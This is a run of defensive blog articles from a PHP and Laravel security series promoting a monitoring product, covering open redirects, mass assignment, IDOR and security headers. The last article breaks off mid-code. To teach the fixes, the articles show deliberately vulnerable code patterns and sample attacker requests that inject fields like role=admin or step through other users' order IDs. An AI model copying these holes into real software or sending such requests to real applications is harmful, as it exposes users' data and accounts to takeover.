OAuth redirect URIs must use exact string matching against a registered allowlist

For Laravel:

Use redirect()->intended() for post-login redirects never user-supplied parameters
Never pass $request->input('redirect') directly to redirect() without validation
Use a whitelist mapped by key for any redirect that accepts user input
Use signed URLs for email links, password reset flows, and OAuth callbacks
Validate relative URLs before passing to redirect()
Never pass user input to redirect()->away() without domain validation
OAuth redirect URIs must use exact string matching against a registered allowlist

Where Kriosa Fits

Open redirect attacks begin with reconnaissance. Before exploiting an open redirect an attacker probes for it — sending requests with external URLs in redirect parameters, testing which parameters are reflected in Location headers, checking whether your application follows redirects to external domains.

That probing behavior — systematic testing of redirect parameters across your application's endpoints — produces distinctive request patterns that differ from legitimate user navigation.

Kriosa monitors incoming requests for behavioral signals that precede open redirect exploitation unusual values in redirect parameters, systematic testing of URL-accepting endpoints, and request patterns that differ from normal user navigation. These signals appear in the XAI dashboard with an explanation of what was detected and why it was flagged.

Prevention through whitelists and validation stops your domain from being used as a redirect weapon. Detection through behavioral monitoring tells you when someone is checking whether it can be.

In Prolify post-login redirects use redirect()->intended() the destination is stored in the session before login, never taken from URL parameters.
In bellefull all redirects use a whitelist. Neither application passes user input directly to a redirect function.

Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php

Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.

The Series So Far
Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem - why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries - the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app before exploiting it
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP - how ../ escapes your application
Article 9: Command injection in PHP - when exec() becomes an attack surface
Article 10: Broken access control in Laravel - why being logged in is not enough
Article 11: Secrets in Laravel - why .env is only the beginning
Article 12: Session security in PHP - what most developers get wrong
Article 13: Rate limiting in Laravel and PHP - how to stop brute force before it starts
Article 14: Security headers in PHP and Laravel - the lines that harden every response
Article 15: IDOR in PHP and Laravel - when changing one number exposes someone else's data
Article 16: This article - mass assignment in PHP and Laravel and when user input becomes more than it should

Article 17: This article — open redirect vulnerabilities in PHP and Laravel

Mass Assignment in PHP and Laravel — When User Input Becomes More Than It Should

Nchiminyi — Founder, Kriosa — Tue, 25 Aug 2026 07:00:00 +0000

This is the sixteenth article in a series on PHP and Laravel application security.

So far we have covered:

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app before exploiting it
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP — how ../ escapes your application
Article 9: Command injection in PHP — when exec() becomes an attack surface
Article 10: Broken access control in Laravel — why being logged in is not enough
Article 11: Secrets in Laravel — why .env is only the beginning
Article 12: Session security in PHP — what most developers get wrong
Article 13: Rate limiting in Laravel and PHP — how to stop brute force before it starts
Article 14: Security headers in PHP and Laravel — the lines that harden every response
Article 15: IDOR in PHP and Laravel — when changing one number exposes someone else's data

Every article in this series follows the same principle understand the attack before you try to stop it.

Mass assignment is often described as a Laravel vulnerability. The underlying problem is much broader trusting user-controlled field names and values more than the application should.

Laravel gives this problem a specific name and provides built-in defenses. Plain PHP does not. But the security principle is the same across both:

Never let the client decide which application attributes it is allowed to modify.

The Core Problem

Your application receives a profile update request. A legitimate user sends:

name=John&email=john@example.com

An attacker sends:

name=John&email=john@example.com&role=admin&is_admin=1&balance=99999

The HTTP method is the same. The endpoint is the same. The only difference is the extra fields.

If your application processes every field it receives without filtering which ones are allowed the attacker just wrote role, is_admin, and balance to your database through a profile update form.

No exploit. No special tool. Browser developer tools and knowledge of what column names to try.

Mass Assignment in Plain PHP

Laravel makes mass assignment easy to recognize because Eloquent has explicit methods like create() and update(). Plain PHP does not have a built-in mass assignment mechanism but plain PHP applications are equally vulnerable.

The problem appears when developers accept arbitrary request keys and map them directly into objects or database fields:

// Dangerous — client controls which properties are modified
foreach ($_POST as $key => $value) {
    $user->$key = $value;
}

Now the client is choosing which properties the application modifies. A legitimate user updates their name and email. An attacker adds role=admin and is_admin=1 to the same request. Both are processed identically.

The dangerous assumption is if the client sent the field the application should process it. That is an input-trust problem. The client should never decide which fields the application processes.

The correct plain PHP approach explicit allowlist:

$allowed = ['name', 'email'];

foreach ($allowed as $field) {
    if (isset($_POST[$field])) {
        $user->$field = $_POST[$field];
    }
}

Or more explicitly:

$data = [
    'name'  => $_POST['name']  ?? null,
    'email' => $_POST['email'] ?? null,
];

The attacker can send role=admin and is_admin=1 but those fields never enter the update operation because only name and email are in the allowlist.

Parameterized queries do not solve this:

This is a critical distinction. Parameterized queries protect against SQL injection they do not decide which fields a user is allowed to modify.

// Good SQL injection protection but not mass assignment protection
$sql = "UPDATE users SET name = :name, email = :email WHERE id = :id";
$stmt = $pdo->prepare($sql);
$stmt->execute([':name' => $name, ':email' => $email, ':id' => $id]);

This query is safe from SQL injection. But the application still needs to decide separately that name and email are the only fields this request is allowed to change. Both protections are required they solve different problems.

Mass Assignment in Laravel

Laravel's Eloquent ORM gives the vulnerability a specific name and provides built-in defenses. But those defenses only work when developers understand and apply them correctly.

Code like this:

User::create($request->all());
$user->update($request->all());

passes every field the user submitted directly to the model. $request->all() is the problem it contains whatever the attacker decides to send.

$fillable the allowlist approach:

class User extends Model
{
    protected $fillable = [
        'name',
        'email',
        'password',
    ];
}

Only fields listed in $fillable can be mass assigned. If an attacker submits role=admin or is_admin=1 those fields are silently ignored.

$guarded the blocklist approach:

class User extends Model
{
    protected $guarded = [
        'role',
        'is_admin',
        'balance',
    ];
}

Everything except fields in $guarded can be mass assigned. The danger is that the blocklist becomes incomplete as the application grows. A developer adds a sensitive column six months later and forgets to add it to $guarded. An allowlist has a safer failure mode a newly added field is not automatically mass assignable unless explicitly added to $fillable.

$guarded = [] the most dangerous configuration:

class User extends Model
{
    protected $guarded = [];
}

This disables mass assignment protection entirely. Every field can be mass assigned. You see this in tutorials and prototypes. In production it deserves particular scrutiny.

The forceFill() trap:

// This ignores $fillable and $guarded completely
$user->forceFill($request->all())->save();

forceFill() is legitimate for trusted internal operations database seeding, administrative scripts, migration tooling where you control the data. Using it with user-supplied input removes the model-level safety boundary completely.

Search your codebase now:

grep -r "forceFill" app/

Every result needs manual review. If any forceFill() call receives data that originates from user input directly or indirectly it is a vulnerability.

One critical point: $fillable does not replace authorization. A request can contain perfectly valid fields and still come from a user who is not allowed to modify that resource. Mass assignment protection and access control solve different problems. Both are required.

Beyond Role Escalation — The Scenarios Developers Miss

Most developers know to protect role and is_admin. Here are the scenarios they miss.

Email verification bypass:

email=attacker@example.com&email_verified_at=2024-01-01

A user changes their email and simultaneously marks it as verified skipping your verification flow entirely.

Balance manipulation:

amount=10&balance=99999

A user submits a legitimate transaction amount but also sets their own account balance.

Soft delete recovery:

name=John&deleted_at=null

A user recovers their soft-deleted account or restores deleted content by setting deleted_at to null.

Timestamp manipulation:

name=John&created_at=2020-01-01

A user changes when their account was created useful for bypassing time-based restrictions or trial period limits.

Billing relationship hijacking:

name=John&stripe_customer_id=cus_someone_elses_id

A user points their account to another customer's Stripe billing relationship accessing another customer's payment methods.

Every one of these is possible when mass assignment protection is absent or incomplete.

The Three Layers of Protection

Strong protection uses all three layers. Each catches what the previous one might miss.

Layer 1 — Model level with $fillable:

class User extends Model
{
    protected $fillable = [
        'name',
        'email',
        'password',
    ];
}

Your safety net. Even if a developer makes a mistake in the controller the model-level protection limits the damage.

Layer 2 — Controller level with $request->only():

public function update(Request $request)
{
    $request->user()->update(
        $request->only(['name', 'email'])
    );
    return redirect('/profile')->with('success', 'Profile updated.');
}

$request->only() extracts only the fields you specify. Even if the attacker sends additional fields they never reach the model.

Layer 3 — Form Request with $request->validated():

// app/Http/Requests/UpdateProfileRequest.php
class UpdateProfileRequest extends FormRequest
{
    public function authorize(): bool
    {
        return true;
    }

    public function rules(): array
    {
        return [
            'name'  => ['required', 'string', 'max:255'],
            'email' => [
                'required',
                'email',
                'unique:users,email,' . $this->user()->id,
            ],
        ];
    }
}

public function update(UpdateProfileRequest $request)
{
    $request->user()->update($request->validated());
    return redirect('/profile')->with('success', 'Profile updated.');
}

$request->validated() only returns fields that have validation rules defined. No rule means no field regardless of what the user submitted. Validation and field filtering happen in the same place. This is the cleanest and most maintainable approach.

API Mass Assignment — The Most Dangerous Context

API endpoints are where mass assignment is most commonly overlooked. When a form submits extra fields developers sometimes notice because they can see the HTML. When a JSON API body contains extra fields there is no visible form to audit.

// Dangerous API endpoint
Route::put('/api/profile', function (Request $request) {
    $request->user()->update($request->all());
    return response()->json(['message' => 'Updated']);
})->middleware('auth:sanctum');

An attacker sends a crafted JSON body:

{
    "name": "John",
    "email": "john@example.com",
    "role": "admin",
    "is_admin": true,
    "balance": 99999,
    "stripe_customer_id": "cus_someone_elses_id"
}

If the model has no $fillable protection every field gets written to the database.

The safe API pattern using only():

Route::put('/api/profile', function (Request $request) {
    $request->user()->update(
        $request->only(['name', 'email'])
    );
    return response()->json(['message' => 'Updated']);
})->middleware('auth:sanctum');

Or with a Form Request:

public function update(UpdateProfileRequest $request)
{
    $request->user()->update($request->validated());
    return response()->json(['message' => 'Updated']);
}

Auditing Your Existing Codebase

Run these searches now:

# Plain PHP — dynamic property assignment from request data
grep -r "foreach (\$_POST" app/
grep -r "\$_POST\[" app/

# Laravel — update() or create() with all() highest risk
grep -r "->update(\$request->all())" app/
grep -r "::create(\$request->all())" app/
grep -r "->update(\$request->input())" app/

# Laravel — forceFill usage  needs manual review
grep -r "forceFill" app/

# Laravel — models with no fillable or guarded
grep -rL "fillable\|guarded" app/Models/

Each result is a potential mass assignment vulnerability that deserves manual review.

The Mass Assignment Checklist

For plain PHP:

Never use foreach ($_POST as $key => $value) to map request data to object properties
Always define an explicit allowlist of fields before processing request data
Never assume parameterized queries protect against mass assignment they solve a different problem
Review every place request data is mapped to database columns or object properties

For Laravel:

Every model that accepts user input has $fillable defined
$guarded = [] does not appear in any production model without scrutiny
Every controller uses $request->only() or $request->validated() never $request->all() with update() or create()
Every API endpoint filters fields explicitly JSON bodies are as dangerous as form submissions
forceFill() is only used with controlled internal data never with user input
Sensitive fields are explicitly absent from $fillable role, is_admin, balance, email_verified_at, deleted_at, stripe_customer_id, created_at
Form Requests are used for complex update operations $request->validated() is the default pattern $fillable is used alongside authorization mass assignment protection and access control are separate concerns

Where Kriosa Fits

Mass assignment vulnerabilities are prevented at the application layer by allowlists in plain PHP and by $fillable, $request->only(), and Form Requests in Laravel. A request containing extra fields looks identical to a legitimate request at the network level.

What Kriosa adds is visibility into the reconnaissance that precedes exploitation. Attackers probing for mass assignment vulnerabilities often send systematic requests testing which fields get written, checking responses for evidence that extra fields were accepted, scanning error messages for column names that reveal the database structure.

That probing behavior not the exploit itself is what a request-level security layer can surface. Unusual field patterns in update requests, systematic testing of sensitive field names, and behavioral anomalies that precede a successful mass assignment attack can appear in the XAI dashboard before the attacker finds what they are looking for.

Prevention through allowlists and Form Requests stops the breach. Detection through behavioral monitoring tells you someone is looking for one.

In Prolify every client review workflow update goes through a Form Request. $request->validated() is the only way data reaches the model. In belle-full every order update uses scoped queries and explicit field filtering. Neither application processes $request->all() directly.

Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php

Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.

The Series So Far

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app before exploiting it
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP — how ../ escapes your application
Article 9: Command injection in PHP — when exec() becomes an attack surface
Article 10: Broken access control in Laravel — why being logged in is not enough
Article 11: Secrets in Laravel — why .env is only the beginning
Article 12: Session security in PHP — what most developers get wrong
Article 13: Rate limiting in Laravel and PHP — how to stop brute force before it starts
Article 14: Security headers in PHP and Laravel — the lines that harden every response
Article 15: IDOR in PHP and Laravel — when changing one number exposes someone else's data
Article 16: This article — mass assignment in PHP and Laravel and when user input becomes more than it should

IDOR in PHP and Laravel — When Changing One Number Exposes Someone Else's Data

Nchiminyi — Founder, Kriosa — Fri, 21 Aug 2026 13:58:19 +0000

This is the fifteenth article in a series on PHP and Laravel application security.

So far we have covered:

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app before exploiting it
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP — how ../ escapes your application
Article 9: Command injection in PHP — when exec() becomes an attack surface
Article 10: Broken access control in Laravel — why being logged in is not enough
Article 11: Secrets in Laravel — why .env is only the beginning
Article 12: Session security in PHP — what most developers get wrong
Article 13: Rate limiting in Laravel and PHP — how to stop brute force before it starts
Article 14: Security headers in PHP and Laravel — the lines that harden every response

Every article in this series follows the same principle: understand the attack before you try to stop it.

IDOR does not require exploiting a buffer overflow. It does not require reverse engineering binary code. It does not require any technical skill beyond knowing how to change a number in a URL. And it has caused some of the most significant data breaches in recent history.

What IDOR Actually Is

Insecure Direct Object Reference is when your application exposes a reference to an internal object a database record, a file, a user account — and does not verify that the requesting user is authorized to access that specific object.

Your application shows a user their order:

https://yoursite.com/orders/1042

The number 1042 is the direct object reference. It points directly to a row in your database. The application checked that the user is logged in. It did not check that order 1042 belongs to this user.

An attacker changes the number:

https://yoursite.com/orders/1043
https://yoursite.com/orders/1044
https://yoursite.com/orders/1045

Each one returns a different customer's order. The attacker enumerates every order in your system by incrementing a number. No hacking required. No exploit needed. Just arithmetic.

Why IDOR Is So Common

IDOR is part of Broken Access Control the number one vulnerability on the OWASP Top 10 since the 2021 edition. It is so common because it comes from a natural but wrong assumption:

The user is logged in so they must be allowed to see this.

Authentication proves identity. It says nothing about authorization. A logged-in user is not automatically allowed to access every resource in your system only the resources that belong to them or that they have been explicitly granted access to.

Most developers check authentication. Most developers forget authorization at the object level. The code looks correct because the authentication check is there. The vulnerability exists because the ownership check is not.

This is also where request-level security monitoring becomes useful. Authorization prevents the unauthorized request from succeeding but monitoring can reveal that someone is repeatedly attempting those requests. A single failed request to /orders/1043 may be normal. Hundreds of sequential requests across /orders/1043, /orders/1044, /orders/1045 and beyond are a very different signal — the kind of behavioral pattern Kriosa is designed to surface.

Where IDOR Appears in PHP Applications

IDOR hides in four common places.

URL parameters:

GET /profile?user_id=42
GET /invoice/download?id=1089
GET /messages?thread_id=567

POST body parameters:

POST /update-address
Body: user_id=42&street=New+Street

API endpoints:

GET /api/v1/users/42
DELETE /api/v1/documents/1089
PUT /api/v1/orders/567

File downloads:

GET /download?file=invoice_1089.pdf
GET /documents/contract_42.pdf

Every one of these is a potential IDOR vulnerability if the application does not verify that the authenticated user is authorized to access that specific resource.

The Vulnerable Code Pattern

Here is what vulnerable PHP looks like:

// Dangerous — checks authentication but not authorization
function getOrder(PDO $pdo, int $orderId): ?array
{
    if (!isset($_SESSION['user_id'])) {
        header('Location: /login');
        exit;
    }

    $stmt = $pdo->prepare('SELECT * FROM orders WHERE id = ?');
    $stmt->execute([$orderId]);
    return $stmt->fetch() ?: null;
}

$orderId = (int) $_GET['id'];
$order = getOrder($pdo, $orderId);

The authentication check is present. The authorization check is absent. Any logged-in user can access any order in the database by changing the ID in the URL.

Fix 1 — Ownership Check in the Query

The simplest and most reliable fix: include the authenticated user's ID in every query that retrieves user-specific data.

function getOrder(PDO $pdo, int $orderId, int $userId): ?array
{
    $stmt = $pdo->prepare('
        SELECT * FROM orders
        WHERE id = ? AND user_id = ?
    ');
    $stmt->execute([$orderId, $userId]);
    $order = $stmt->fetch();

    if (!$order) {
        http_response_code(404);
        exit;
    }

    return $order;
}

$orderId = (int) $_GET['id'];
$userId  = (int) $_SESSION['user_id'];
$order   = getOrder($pdo, $orderId, $userId);

The AND user_id = ? clause means the database only returns the order if both conditions are true the ID matches and it belongs to the authenticated user. An attacker who changes the order ID gets a 404 for any order that does not belong to them.

On returning 404 versus 403:

When revealing whether the resource exists would itself disclose sensitive information returning 404 instead of 403 is a useful defensive pattern. A 403 tells the attacker "this resource exists but you cannot access it." A 404 tells them nothing. In many contexts this distinction meaningfully reduces information leakage.

Fix 2 — Scoped Queries

Scoped queries make IDOR structurally impossible by always filtering by the authenticated user before any ID lookup:

// Returns only orders belonging to this user
function getUserOrders(PDO $pdo, int $userId): array
{
    $stmt = $pdo->prepare('
        SELECT * FROM orders
        WHERE user_id = ?
        ORDER BY created_at DESC
    ');
    $stmt->execute([$userId]);
    return $stmt->fetchAll();
}

// Returns one specific order only if it belongs to this user
function getUserOrder(PDO $pdo, int $orderId, int $userId): ?array
{
    $stmt = $pdo->prepare('
        SELECT * FROM orders
        WHERE id = ? AND user_id = ?
    ');
    $stmt->execute([$orderId, $userId]);
    return $stmt->fetch() ?: null;
}

There is no code path in these functions where a user can retrieve another user's data. The scope is enforced at the database layer not as a conditional check after the fact.

Fix 3 — Non-Sequential Identifiers

Sequential integer IDs make enumeration trivial the attacker increments and iterates. Non-sequential identifiers like UUIDs make this significantly harder:

/orders/550e8400-e29b-41d4-a716-446655440000

Use a trusted library rather than implementing UUID generation manually:

// composer require ramsey/uuid
use Ramsey\Uuid\Uuid;

function createOrder(PDO $pdo, int $userId): string
{
    $uuid = Uuid::uuid4()->toString();

    $stmt = $pdo->prepare('
        INSERT INTO orders (uuid, user_id, created_at)
        VALUES (?, ?, NOW())
    ');
    $stmt->execute([$uuid, $userId]);

    return $uuid;
}

Important: UUIDs are not an authorization mechanism. They make enumeration harder not impossible. A UUID discovered through logs, referrer headers, or shared links can still be accessed by unauthorized users if no authorization check exists. Always combine non-sequential identifiers with proper ownership verification.

IDOR in File Downloads

File download endpoints are a particularly common IDOR vector:

// Dangerous — filename comes directly from user input
$filename = $_GET['file'];
$filepath = '/var/www/storage/invoices/' . $filename;

if (file_exists($filepath)) {
    header('Content-Type: application/pdf');
    readfile($filepath);
}

The fix verifies ownership before constructing the file path and never takes the filename from user input.

function downloadInvoice(PDO $pdo, int $invoiceId, int $userId): void
{
    // Verify ownership first — fetch filename from database
    $stmt = $pdo->prepare('
        SELECT filename FROM invoices
        WHERE id = ? AND user_id = ?
    ');
    $stmt->execute([$invoiceId, $userId]);
    $invoice = $stmt->fetch();

    if (!$invoice) {
        http_response_code(404);
        exit;
    }

    // Filename comes from database not from user input
    $filepath = '/var/www/storage/invoices/' . $invoice['filename'];

    if (!file_exists($filepath)) {
        http_response_code(404);
        exit;
    }

    header('Content-Type: application/pdf');
    header('Content-Disposition: attachment; filename="invoice.pdf"');
    readfile($filepath);
}

$invoiceId = (int) $_GET['id'];
$userId    = (int) $_SESSION['user_id'];
downloadInvoice($pdo, $invoiceId, $userId);

The user supplies an ID. The database returns the filename but only after confirming the invoice belongs to the authenticated user. The user never controls the file path directly.

IDOR in Laravel

Laravel provides several mechanisms to prevent IDOR.

Explicit ownership check:

// Dangerous — no ownership check
public function show(Order $order)
{
    return view('orders.show', compact('order'));
}

// Safe — explicit ownership check
public function show(Order $order)
{
    if ($order->user_id !== auth()->id()) {
        abort(404);
    }
    return view('orders.show', compact('order'));
}

Using policies:

// app/Policies/OrderPolicy.php
class OrderPolicy
{
    public function view(User $user, Order $order): bool
    {
        return $user->id === $order->user_id;
    }

    public function update(User $user, Order $order): bool
    {
        return $user->id === $order->user_id;
    }

    public function delete(User $user, Order $order): bool
    {
        return $user->id === $order->user_id;
    }
}

public function show(Order $order)
{
    $this->authorize('view', $order);
    return view('orders.show', compact('order'));
}

Scoped queries the strongest approach:

// This can never return another user's order
public function show(int $id)
{
    $order = auth()->user()->orders()->findOrFail($id);
    return view('orders.show', compact('order'));
}

The query is scoped to the authenticated user before the ID lookup. findOrFail() returns a 404 automatically if no matching record is found for this user.

Scoped route model binding:

Route::get('/users/{user}/orders/{order}', [OrderController::class, 'show'])
    ->scopeBindings();

Laravel scopes the {order} binding through the parent {user} relationship automatically no manual ownership check needed in the controller.

File downloads in Laravel:

public function download(int $id)
{
    $invoice = auth()->user()->invoices()->findOrFail($id);

    if (!Storage::disk('local')->exists('invoices/' . $invoice->filename)) {
        abort(404);
    }

    return response()->download(
        storage_path('app/invoices/' . $invoice->filename),
        'invoice.pdf'
    );
}

API Endpoints and IDOR

API endpoints are where IDOR is most commonly forgotten:

// Dangerous — any authenticated user can access any user's data
Route::get('/api/users/{id}', function ($id) {
    return User::find($id);
})->middleware('auth:sanctum');

// Safe — scoped to authenticated user
Route::get('/api/profile', function (Request $request) {
    return $request->user();
})->middleware('auth:sanctum');

// Safe — ownership check for specific resources
Route::get('/api/orders/{id}', function (Request $request, $id) {
    $order = $request->user()->orders()->findOrFail($id);
    return response()->json($order);
})->middleware('auth:sanctum');

Being authenticated via Sanctum does not mean the user is authorized to access every resource. The ownership check is required on every API endpoint that returns user-specific data.

The IDOR Prevention Checklist

For plain PHP:

Never fetch a resource using only a user-supplied ID
Always include the authenticated user's ID in every ownership-sensitive query
Return 404 not 403 when revealing resource existence would leak sensitive information
Use non-sequential identifiers from a trusted UUID library as an additional layer — not as a substitute for authorization
Never construct file paths from user-supplied filenames fetch filenames from the database after ownership verification
Apply ownership checks to every endpoint GET, POST, PUT, DELETE, and file downloads
Apply the same rules to API endpoints as to web endpoints

For Laravel:

Use scoped queries auth()->user()->orders()->findOrFail($id) as the default pattern
Use policies for complex authorization logic
Use scoped route model binding for nested resources
Never use Model::find($id) without an ownership check for user-specific resources
Apply the same authorization rules to API routes as web routes
Return abort(404) when ownership verification fails

Where Kriosa Fits

Authorization controls prevent unauthorized access. They do not tell you when someone is systematically probing for authorization gaps.

Kriosa complements these controls by monitoring incoming request patterns for behavioral signals such as repeated resource enumeration and unusual access patterns. When detected those signals are surfaced in the security dashboard alongside the request context giving you visibility into what is happening before a breach occurs.

A single failed request to /orders/1043 may be a typo. Hundreds of sequential requests across incrementing order IDs from the same authenticated session is a pattern worth investigating. Authorization alone cannot surface that distinction. Behavioral monitoring can.

In production applications like
Prolify where each client session is a trust boundary and client work must never cross between accounts and
Belle-Full where customer order data belongs to specific users these two layers work together. Authorization controls prevent breaches. Behavioral monitoring surfaces the probing that precedes them.

Prevention stops the breach. Detection tells you someone is looking for one.

Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php

Sleep better — we're awake. Kriosa.

Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.

The Series So Far

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app before exploiting it
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP — how ../ escapes your application
Article 9: Command injection in PHP — when exec() becomes an attack surface
Article 10: Broken access control in Laravel — why being logged in is not enough
Article 11: Secrets in Laravel — why .env is only the beginning
Article 12: Session security in PHP — what most developers get wrong
Article 13: Rate limiting in Laravel and PHP — how to stop brute force before it starts
Article 14: Security headers in PHP and Laravel — the lines that harden every response
Article 15: This article — IDOR in PHP and Laravel and when changing one number exposes someone else's data

Security Headers in PHP and Laravel — The Lines That Harden Every Response

Nchiminyi — Founder, Kriosa — Tue, 18 Aug 2026 07:00:00 +0000

ORIGINALLY POSTED ON KRIOSA

This is the fourteenth article in a series on PHP and Laravel application security.

So far we have covered

Detecting SQL injection attempts in PHP logs
Why URL encoding blinds most PHP security checks
The decode bomb problem with unlimited URL decoding
Why parameterized queries are the only real fix for SQL injection
XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
How attackers enumerate your Laravel app before exploiting it
File upload security — the file that isn't what it claims to be
Path traversal in PHP — how ../ escapes your application
Command injection in PHP — when exec() becomes an attack surface
Broken access control in Laravel — why being logged in is not enough
Secrets in Laravel — why .env is only the beginning
Session security in PHP — what most developers get wrong
Rate limiting in Laravel and PHP — how to stop brute force before it starts

Every article in this series follows the same principle understand the attack before you try to stop it.

Most vulnerabilities in this series require changes to your business logic. Security headers are different. They require no changes to your application code. A carefully designed security-header policy applied through middleware or web server configuration hardens how the browser handles your responses while individual headers may be relevant only to certain response types.

What Security Headers Are

Every HTTP response your server sends includes headers metadata that travels alongside the content. Security headers tell the browser how to behave securely when handling your application's content.

When your server sends them the browser follows their instructions. An attacker who successfully injects a malicious script may find the browser refuses to execute it because it violates the Content Security Policy. An attacker attempting clickjacking may find the browser refuses to render your page inside their iframe. An attacker intercepting an HTTP connection may find the browser refuses to downgrade from HTTPS.

Security headers do not fix vulnerabilities in your code. They raise the cost of exploiting them.

Header 1 — Content-Security-Policy

CSP is the most powerful security header and the most complex to configure correctly.

CSP tells the browser exactly which sources of content are allowed to load on your page. Scripts, stylesheets, images, fonts, frames everything. If a source is not on the approved list the browser refuses to load it.

This directly reduces the impact of XSS attacks. Even if an attacker successfully injects a script tag, if the source is not in your CSP the browser will not execute it.

A starting point:

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; font-src 'self'; base-uri 'self'; form-action 'self'; object-src 'none'; frame-ancestors 'none'

Breaking this down:

default-src 'self' — only load content from your own domain by default
script-src 'self' — only execute scripts from your own domain
style-src 'self' — only allow stylesheets from your own domain
img-src 'self' data: — allow images from your domain and data URIs
base-uri 'self' — prevent attackers from injecting a base tag that redirects relative URLs
form-action 'self' — prevent forms from submitting to external domains
object-src 'none' — block plugins entirely
frame-ancestors 'none' — prevent your page from being embedded in iframes anywhere

Avoid 'unsafe-inline':

You will see many CSP examples that include 'unsafe-inline' for scripts or styles. Avoid it where practical — it allows inline scripts and styles to execute, significantly weakening XSS protection. Use nonces or hashes for inline scripts instead:

script-src 'self' 'nonce-{random-value}'

<script nonce="abc123def456">
    // inline script here
</script>

frame-ancestors versus frame-src:

frame-ancestors 'none' — controls who can embed your page in an iframe (prevents clickjacking)
frame-src 'none' — controls what iframes your page is allowed to load

Set both if your application neither embeds external content nor should be embeddable itself.

Start with report-only mode:

Content-Security-Policy-Report-Only: default-src 'self'

This logs violations without blocking anything letting you see what would break before enforcement begins. CSP is hard to get right because every third-party resource needs explicit allowance.

Header 2 — X-Frame-Options

Prevents your page from being embedded inside an iframe on another domain. Without it an attacker can overlay your application inside a transparent iframe and trick users into clicking buttons they cannot see clickjacking.

X-Frame-Options: DENY

Or to allow embedding only from your own domain:

X-Frame-Options: SAMEORIGIN

The frame-ancestors directive in CSP is the modern replacement. Keep X-Frame-Options for older browser compatibility. Note it is primarily relevant for responses rendered as documents not API responses or redirects.

Header 3 — X-Content-Type-Options

Stops browsers from guessing the content type of a response a behavior called MIME sniffing.

Without this a browser might look at a response body and decide it looks like JavaScript even if the server sent it as text/plain. An attacker who can upload a file can exploit MIME sniffing to execute scripts by making the browser misidentify the file type.

X-Content-Type-Options: nosniff

Trust the Content-Type header the server sent. Do not guess.

Header 4 — Strict-Transport-Security

HSTS tells the browser to only ever connect to your domain over HTTPS even if the user types http:// or clicks an HTTP link.

Without HSTS an attacker performing a man-in-the-middle attack can intercept the initial HTTP request before it redirects to HTTPS stealing cookies and session data before encryption begins.

Strict-Transport-Security: max-age=31536000; includeSubDomains

max-age=31536000 — remember this rule for one year
includeSubDomains — apply to all subdomains too

Critical: your application must already be correctly configured for HTTPS before enabling HSTS. Setting it on a domain with any HTTP content will break those pages for up to one year.

About preload: adding preload submits your domain to browser preload lists even the very first connection is forced to HTTPS before the browser has ever received an HSTS header from your server. This is difficult to reverse. Treat it as an intentional deployment decision requiring careful planning not simply another flag to copy and paste.

Header 5 — Referrer-Policy

When a user clicks a link from your application to an external site the browser sends a Referer header containing the URL they came from. This can leak sensitive information — user IDs, session tokens, or private page paths in your URLs.

Referrer-Policy: strict-origin-when-cross-origin

Sends the full URL for same-origin requests but only the origin not the full path for cross-origin requests. Sensitive URL parameters do not leak to external sites.

Other useful values:

no-referrer — never send any referrer information
same-origin — only send referrer for same-origin requests
strict-origin — only send the origin, never the full URL

Header 6 — Permissions-Policy

Controls which browser APIs your application is allowed to access. Disable features you do not need to reduce the attack surface if your application is ever compromised through another vulnerability.

Permissions-Policy: camera=(), microphone=(), geolocation=(), payment=()

Empty parentheses () disable the feature entirely. Allow what you need explicitly:

Permissions-Policy: camera=(), microphone=(), geolocation=(self), payment=()

Important: Permissions-Policy does not replace application authorization. If your application must prevent a user from accessing a feature the server must still enforce that. Permissions-Policy is defense in depth it reduces browser-level capability but cannot substitute for server-side access control.

Header 7 — What Happened to X-XSS-Protection?

You may still see X-XSS-Protection: 1; mode=block in older tutorials. Do not copy it blindly.

The header was designed for browser XSS filters that modern browsers have largely removed. It is deprecated, has limited support in modern browsers, and can introduce security problems. OWASP and MDN both recommend against using it as a modern XSS defense.

Your primary XSS defenses should be proper output encoding covered in article 5 and a well-designed Content Security Policy. If you inherit an application sending this header review whether it should be removed.

Implementation in Plain PHP

Add security headers early in your request lifecycle before any output is sent

function setSecurityHeaders(array $options = []): void
{
    $csp = $options['csp'] ?? implode('; ', [
        "default-src 'self'",
        "script-src 'self'",
        "style-src 'self'",
        "img-src 'self' data:",
        "font-src 'self'",
